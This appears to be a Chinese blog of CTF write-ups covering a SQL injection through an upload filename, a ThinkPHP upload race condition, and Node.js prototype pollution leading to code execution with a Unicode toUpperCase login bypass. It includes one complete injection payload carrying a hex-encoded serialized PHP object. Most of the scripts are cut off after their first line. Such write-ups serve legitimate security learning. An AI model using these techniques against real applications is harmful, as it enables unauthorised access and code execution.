因为 $sql_valu 是在前面和后面 加了 单引号
有根据 check
函数 发现我们能够控制的 只有 $titile
所以我们可以利用 这个点来 布置好对应的 sql 语句。从而将attr
赋值为序列化。
不能有单引号等,所以 我们序列化话转 16进制。
最后的 payload
修改 filename
a','b','c','d',0x4f3a363a2268656c706572223a323a7b733a393a225c305c305c30636f6e666967223b733a353a222f666c6167223b733a393a225c305c305c30696676696577223b693a313b7d)#.png
上传成功
点击查看
得到 flag
[RoarCTF 2019]Simple Upload
2021.1.3
考点
Thinkphp 文件上传存在条件竞争
做题步骤
ThinkPHP默认上传文件名是递增的。 代码中ThinkPHP的后缀过滤无效,所以通过上传多个文件的方式,绕过.php后缀的判断,但是这样拿不到上传的文件名,需要爆破。
1 |
|
于是利用脚本上传。
1 | import requests |
然后去查看对应文件夹的文件名。
然后爆破得到 那个文件名
就能得到 flag
后面发现我的脚本那个发包很慢
看了wp找到一个 一次发两个文件的 条件竞争,这样我们的文件名差距就很小
1 | #coding:utf-8 |
[GXYCTF2019]StrongestMind
2021.1.4
考点
脚本编写
做题步骤
计算答案
成功 1000 次
1 | import requests |
[GYCTF2020]Ez_Express
2021.1.4
考点
Nodejs
原型链污染
做题步骤
在我们调用一个对象的某属性时:
1 | 1.对象(obj)中寻找这一属性 |
以上机制被称为js的prototype继承链。而原型链污染就与这有关
原型链污染定义:
1 | 如果攻击者控制并修改了一个对象的原型,那么将可以影响所有和这个对象来自同一个类、父祖类的对象。这种攻击方式就是原型链污染 |
然后注册的时候
没有思路,扫下目录
发现有一个 www.zip 的目录文件
审计代码
发现 index.esj 中
有hint
说明有个 /flag
然后查看 index.js
1 | var express = require('express'); |
发现其中的注册
会判断是不是 admin
1 | function safeKeyword(keyword) { |
后面知道
p牛的
https://www.leavesongs.com/HTML/javascript-up-low-ercase-tip.html
可以绕过
toUpperCase()是javascript中将小写转换成大写的函数。toLowerCase()是javascript中将大写转换成小写的函数。
我们这里
注册的时候 有个 rep.body.userid.toUpperCase()
所以利用
字符"ı"、"ſ" 经过toUpperCase处理后结果为 "I"、"S"
来绕过 从而实现注册和登录
账号 admın
密码随意。
成功创建,然后重新返回更目录
点击提交会进入 /action
路由。
1 | router.post('/action', function (req, res) { |
其中有一个 clone
函数这是nodejs 原型污染经常用到的
1 | const merge = (a, b) => { |
这里可以存在原型链污染,然后在 /info
中
1 | router.get('/info', function (req, res) { |
这里的 outputFunctionName
赋值给 user
在前端会被渲染。
然后学习下 js 原型链污染 rce
https://xz.aliyun.com/t/7075#toc-3
利用payload
需要 Content-Type改成application/json
1 | // 回显字符串 |
这样我们已经实现了 原型链污染。
然后要做的就是访问 /info
路由这样 就能下载flag文件